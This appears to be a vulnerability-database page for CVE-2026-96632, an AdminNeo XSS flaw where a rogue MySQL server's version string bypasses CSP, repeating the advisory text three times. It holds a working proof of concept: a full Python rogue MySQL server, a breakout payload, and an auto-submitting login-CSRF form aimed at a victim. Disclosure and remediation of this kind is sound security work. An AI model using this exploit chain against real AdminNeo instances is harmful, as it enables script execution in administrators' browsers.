Every CVE Search/ Get API key

CVE-2026-96632

AdminNeo Vulnerable to XSS via Rogue MySQL Server Version String (CSP Nonce Bypass)

8.2 HighFix available

Summary

AdminNeo inserts the database server's version string into a <script> tag that carries a valid CSP nonce, without any sanitization. A rogue database server can return a crafted version string that breaks out of the JavaScript context and executes arbitrary code. Because the script tag already has a valid nonce, the browser's Content Security Policy does not block execution. No authentication is required when combined with Login CSRF.

Originally reported in Adminer: https://github.com/vrana/adminer/security/advisories/GHSA-h6jr-7pr6-grgj

Prerequisites

  • Target runs AdminNeo
  • Attacker controls a reachable MySQL server (a 80-line Python script)

Root Cause

admin/core/Admin.php, lines 1285-1286:

echo script("let autocompletion;\nwindow.addEventListener('DOMContentLoaded', () => { initSyntaxHighlighting('" .
    Connection::get()->getVersion() . "', '" . Connection::get()->getFlavor() . "', autocompletion); });");

script() wraps the output in <script nonce="VALID_NONCE">. Return value of Connection::get()->getVersion() is not escaped.

Steps To Reproduce

1. Build the environment

Dockerfile (AdminNeo):

FROM php:8.3-cli
COPY adminneo.php /var/www/adminneo.php
WORKDIR /var/www
EXPOSE 8081
CMD ["php", "-S", "0.0.0.0:8081"]

rogue_mysql.py (fake MySQL server that accepts any login):

import socket, struct, threading

PAYLOAD = "1');alert(origin)//"

# Capability flags the client expects
CAP_PROTOCOL_41     = 0x0200
CAP_SECURE_CONNECTION = 0x8000
CAP_PLUGIN_AUTH     = 0x00080000
CAPS_LOW  = CAP_PROTOCOL_41 | CAP_SECURE_CONNECTION
CAPS_HIGH = (CAP_PLUGIN_AUTH >> 16)

def make_packet(seq, payload):
    length = struct.pack("<I", len(payload))[:3]
    return length + bytes([seq]) + payload

def make_greeting(version_str):
    pkt  = b"\x0a"                                  # protocol version 10
    pkt += version_str.encode() + b"\x00"            # version string
    pkt += struct.pack("<I", 1)                      # connection id
    pkt += b"\x41" * 8                               # auth plugin data part 1
    pkt += b"\x00"                                   # filler
    pkt += struct.pack("<H", CAPS_LOW)               # capability flags lower
    pkt += b"\x21"                                   # charset utf8
    pkt += struct.pack("<H", 0x0002)                 # status flags
    pkt += struct.pack("<H", CAPS_HIGH)              # capability flags upper
    pkt += b"\x15"                                   # auth data length (21)
    pkt += b"\x00" * 10                              # reserved
    pkt += b"\x41" * 12 + b"\x00"                    # auth plugin data part 2
    pkt += b"mysql_native_password\x00"              # auth plugin name
    return make_packet(0, pkt)

def make_ok(seq):
    pkt  = b"\x00"          # OK marker
    pkt += b"\x00"          # affected rows
    pkt += b"\x00"          # last insert id
    pkt += struct.pack("<H", 0x0002)  # status flags
    pkt += struct.pack("<H", 0)       # warnings
    return make_packet(seq, pkt)

def make_eof(seq):
    pkt  = b"\xfe"
    pkt += struct.pack("<H", 0)       # warnings
    pkt += struct.pack("<H", 0x0002)  # status flags
    return make_packet(seq, pkt)

def make_err(seq, msg=b"not supported"):
    pkt  = b"\xff"
    pkt += struct.pack("<H", 1045)
    pkt += b"#HY000"
    pkt += msg
    return make_packet(seq, pkt)

def handle(conn):
    conn.sendall(make_greeting(PAYLOAD))
    try:
        conn.recv(4096)     # client login request
    except Exception:
        conn.close()
        return
    conn.sendall(make_ok(2))  # accept login

    # Answer any queries Adminer sends after login
    while True:
        try:
            data = conn.recv(4096)
            if not data:
                break
            seq = data[3] + 1
            # Send ERR for all queries (Adminer still has the version in memory)
            conn.sendall(make_err(seq))
        except Exception:
            break
    conn.close()

srv = socket.socket()
srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
srv.bind(("0.0.0.0", 3307))
srv.listen(5)
print("[*] Rogue MySQL on :3307 - version: " + PAYLOAD)
while True:
    conn, addr = srv.accept()
    print(f"[+] Connection from {addr}")
    threading.Thread(target=handle, args=(conn,)).start()
# Terminal 1: start Adminer
docker build -t adminer-xss .
docker run -d -p 8081:8081 --name adminer-xss adminer-xss

# Terminal 2: start rogue MySQL
python3 rogue_mysql.py

2. Trigger the XSS

Open a browser and navigate to http://localhost:8081/adminneo.php:

  1. Select driver: MySQL
  2. Server: HOST_IP:3307 (IP of the machine running rogue_mysql.py)
  3. Username: root
  4. Password: x
  5. Click Login.

The rogue server accepts the login. AdminNeo renders the dashboard and includes:

<script nonce="REAL_NONCE">let autocompletion;
window.addEventListener('DOMContentLoaded', () => { initSyntaxHighlighting('1');alert(origin)//', 'mysql', autocompletion); });</script>

The browser executes alert(origin) with full CSP bypass because the script tag carries a valid nonce.

3. Trigger it via Login CSRF

The login form has no CSRF token. An attacker page auto-submits the login, forcing the victim's browser to connect to the rogue server:

<form id="f" method="POST" action="http://TARGET/adminneo.php">
  <input name="auth[driver]" value="mysql">
  <input name="auth[server]" value="ROGUE_IP:3307">
  <input name="auth[username]" value="root">
  <input name="auth[password]" value="x">
</form>
<script>document.getElementById('f').submit()</script>

Collaborator Request

This vulnerability was discovered jointly with Yashar Shahinzadeh (GitHub: @Voorivex). Could you please add him as a collaborator on this advisory and credit him as a co-discoverer? Thank you!

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
High
Privileges needed
None
User interaction
None

What an attacker can affect

Confidentiality
None
Integrity
High
Availability
None

What each source reports

GitHub Advisories Score usedGHSA-rx7m-wxwq-vxr9 8.2

AdminNeo Vulnerable to XSS via Rogue MySQL Server Version String (CSP Nonce Bypass)

Summary

AdminNeo inserts the database server's version string into a <script> tag that carries a valid CSP nonce, without any sanitization. A rogue database server can return a crafted version string that breaks out of the JavaScript context and executes arbitrary code. Because the script tag already has a valid nonce, the browser's Content Security Policy does not block execution. No authentication is required when combined with Login CSRF.

Originally reported in Adminer: https://github.com/vrana/adminer/security/advisories/GHSA-h6jr-7pr6-grgj

Prerequisites

  • Target runs AdminNeo
  • Attacker controls a reachable MySQL server (a 80-line Python script)

Root Cause

admin/core/Admin.php, lines 1285-1286:

echo script("let autocompletion;\nwindow.addEventListener('DOMContentLoaded', () => { initSyntaxHighlighting('" .
    Connection::get()->getVersion() . "', '" . Connection::get()->getFlavor() . "', autocompletion); });");

script() wraps the output in <script nonce="VALID_NONCE">. Return value of Connection::get()->getVersion() is not escaped.

Steps To Reproduce

1. Build the environment

Dockerfile (AdminNeo):

FROM php:8.3-cli
COPY adminneo.php /var/www/adminneo.php
WORKDIR /var/www
EXPOSE 8081
CMD ["php", "-S", "0.0.0.0:8081"]

rogue_mysql.py (fake MySQL server that accepts any login):

import socket, struct, threading

PAYLOAD = "1');alert(origin)//"

# Capability flags the client expects
CAP_PROTOCOL_41     = 0x0200
CAP_SECURE_CONNECTION = 0x8000
CAP_PLUGIN_AUTH     = 0x00080000
CAPS_LOW  = CAP_PROTOCOL_41 | CAP_SECURE_CONNECTION
CAPS_HIGH = (CAP_PLUGIN_AUTH >> 16)

def make_packet(seq, payload):
    length = struct.pack("<I", len(payload))[:3]
    return length + bytes([seq]) + payload

def make_greeting(version_str):
    pkt  = b"\x0a"                                  # protocol version 10
    pkt += version_str.encode() + b"\x00"            # version string
    pkt += struct.pack("<I", 1)                      # connection id
    pkt += b"\x41" * 8                               # auth plugin data part 1
    pkt += b"\x00"                                   # filler
    pkt += struct.pack("<H", CAPS_LOW)               # capability flags lower
    pkt += b"\x21"                                   # charset utf8
    pkt += struct.pack("<H", 0x0002)                 # status flags
    pkt += struct.pack("<H", CAPS_HIGH)              # capability flags upper
    pkt += b"\x15"                                   # auth data length (21)
    pkt += b"\x00" * 10                              # reserved
    pkt += b"\x41" * 12 + b"\x00"                    # auth plugin data part 2
    pkt += b"mysql_native_password\x00"              # auth plugin name
    return make_packet(0, pkt)

def make_ok(seq):
    pkt  = b"\x00"          # OK marker
    pkt += b"\x00"          # affected rows
    pkt += b"\x00"          # last insert id
    pkt += struct.pack("<H", 0x0002)  # status flags
    pkt += struct.pack("<H", 0)       # warnings
    return make_packet(seq, pkt)

def make_eof(seq):
    pkt  = b"\xfe"
    pkt += struct.pack("<H", 0)       # warnings
    pkt += struct.pack("<H", 0x0002)  # status flags
    return make_packet(seq, pkt)

def make_err(seq, msg=b"not supported"):
    pkt  = b"\xff"
    pkt += struct.pack("<H", 1045)
    pkt += b"#HY000"
    pkt += msg
    return make_packet(seq, pkt)

def handle(conn):
    conn.sendall(make_greeting(PAYLOAD))
    try:
        conn.recv(4096)     # client login request
    except Exception:
        conn.close()
        return
    conn.sendall(make_ok(2))  # accept login

    # Answer any queries Adminer sends after login
    while True:
        try:
            data = conn.recv(4096)
            if not data:
                break
            seq = data[3] + 1
            # Send ERR for all queries (Adminer still has the version in memory)
            conn.sendall(make_err(seq))
        except Exception:
           …
Record
GHSA-rx7m-wxwq-vxr9
CVSS 4.0
8.2 HighCVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N
Weakness
CWE-79
Updated
2026-11-02
OSVGHSA-rx7m-wxwq-vxr9 8.2

AdminNeo Vulnerable to XSS via Rogue MySQL Server Version String (CSP Nonce Bypass)

Summary

AdminNeo inserts the database server's version string into a <script> tag that carries a valid CSP nonce, without any sanitization. A rogue database server can return a crafted version string that breaks out of the JavaScript context and executes arbitrary code. Because the script tag already has a valid nonce, the browser's Content Security Policy does not block execution. No authentication is required when combined with Login CSRF.

Originally reported in Adminer: https://github.com/vrana/adminer/security/advisories/GHSA-h6jr-7pr6-grgj

Prerequisites

  • Target runs AdminNeo
  • Attacker controls a reachable MySQL server (a 80-line Python script)

Root Cause

admin/core/Admin.php, lines 1285-1286:

echo script("let autocompletion;\nwindow.addEventListener('DOMContentLoaded', () => { initSyntaxHighlighting('" .
    Connection::get()->getVersion() . "', '" . Connection::get()->getFlavor() . "', autocompletion); });");

script() wraps the output in <script nonce="VALID_NONCE">. Return value of Connection::get()->getVersion() is not escaped.

Steps To Reproduce

1. Build the environment

Dockerfile (AdminNeo):

FROM php:8.3-cli
COPY adminneo.php /var/www/adminneo.php
WORKDIR /var/www
EXPOSE 8081
CMD ["php", "-S", "0.0.0.0:8081"]

rogue_mysql.py (fake MySQL server that accepts any login):

import socket, struct, threading

PAYLOAD = "1');alert(origin)//"

# Capability flags the client expects
CAP_PROTOCOL_41     = 0x0200
CAP_SECURE_CONNECTION = 0x8000
CAP_PLUGIN_AUTH     = 0x00080000
CAPS_LOW  = CAP_PROTOCOL_41 | CAP_SECURE_CONNECTION
CAPS_HIGH = (CAP_PLUGIN_AUTH >> 16)

def make_packet(seq, payload):
    length = struct.pack("<I", len(payload))[:3]
    return length + bytes([seq]) + payload

def make_greeting(version_str):
    pkt  = b"\x0a"                                  # protocol version 10
    pkt += version_str.encode() + b"\x00"            # version string
    pkt += struct.pack("<I", 1)                      # connection id
    pkt += b"\x41" * 8                               # auth plugin data part 1
    pkt += b"\x00"                                   # filler
    pkt += struct.pack("<H", CAPS_LOW)               # capability flags lower
    pkt += b"\x21"                                   # charset utf8
    pkt += struct.pack("<H", 0x0002)                 # status flags
    pkt += struct.pack("<H", CAPS_HIGH)              # capability flags upper
    pkt += b"\x15"                                   # auth data length (21)
    pkt += b"\x00" * 10                              # reserved
    pkt += b"\x41" * 12 + b"\x00"                    # auth plugin data part 2
    pkt += b"mysql_native_password\x00"              # auth plugin name
    return make_packet(0, pkt)

def make_ok(seq):
    pkt  = b"\x00"          # OK marker
    pkt += b"\x00"          # affected rows
    pkt += b"\x00"          # last insert id
    pkt += struct.pack("<H", 0x0002)  # status flags
    pkt += struct.pack("<H", 0)       # warnings
    return make_packet(seq, pkt)

def make_eof(seq):
    pkt  = b"\xfe"
    pkt += struct.pack("<H", 0)       # warnings
    pkt += struct.pack("<H", 0x0002)  # status flags
    return make_packet(seq, pkt)

def make_err(seq, msg=b"not supported"):
    pkt  = b"\xff"
    pkt += struct.pack("<H", 1045)
    pkt += b"#HY000"
    pkt += msg
    return make_packet(seq, pkt)

def handle(conn):
    conn.sendall(make_greeting(PAYLOAD))
    try:
        conn.recv(4096)     # client login request
    except Exception:
        conn.close()
        return
    conn.sendall(make_ok(2))  # accept login

    # Answer any queries Adminer sends after login
    while True:
        try:
            data = conn.recv(4096)
            if not data:
                break
            seq = data[3] + 1
            # Send ERR for all queries (Adminer still has the version in memory)
            conn.sendall(make_err(seq))
        except Exception:
           …
Record
GHSA-rx7m-wxwq-vxr9
CVSS 4.0
8.2 HighCVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N
Weakness
CWE-79
Updated
2026-11-02

Affected packages

Affected packages
PackageAffectedFixed
adminneo-org/adminneo
Packagist
before 5.5.1
5.5.1
adminneo-org/adminneo
Packagist
before 5.5.1, plus listed versions
v4.10.0v4.11.0v4.12.0v4.13.0v4.14.0
Show 45 moreShow less
v4.15.0v4.16.0v4.16.1v4.17.0v4.17.1v4.17.2v4.2.0v4.2.1v4.2.2v4.2.3v4.2.4v4.2.5v4.3.0v4.3.1v4.4.0v4.5.0v4.6.0v4.6.1v4.6.2v4.6.3v4.7.0v4.7.1v4.7.2v4.7.3v4.7.4v4.7.5v4.7.6v4.7.7v4.7.8v4.7.9v4.8.0v4.8.1v4.8.2v4.9.0v4.9.1v4.9.2v4.9.3v4.9.4v5.0.0v5.0.0-rcv5.1.0v5.1.1v5.2.0v5.2.1v5.3.0
5.5.1

History

History
RecordedChangedSources
first indexedGitHub Advisories, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2026-96632 is a high vulnerability (CVSS 8.2) in adminneo-org/adminneo, published October 30, 2026. No source lists public exploit code. Fixed in adminneo-org/adminneo 5.5.1.

References

This page doesn't list everything

Left out here: 3 versions and the rest of 2 source descriptions. The JSON record has them.

MoveEnter Open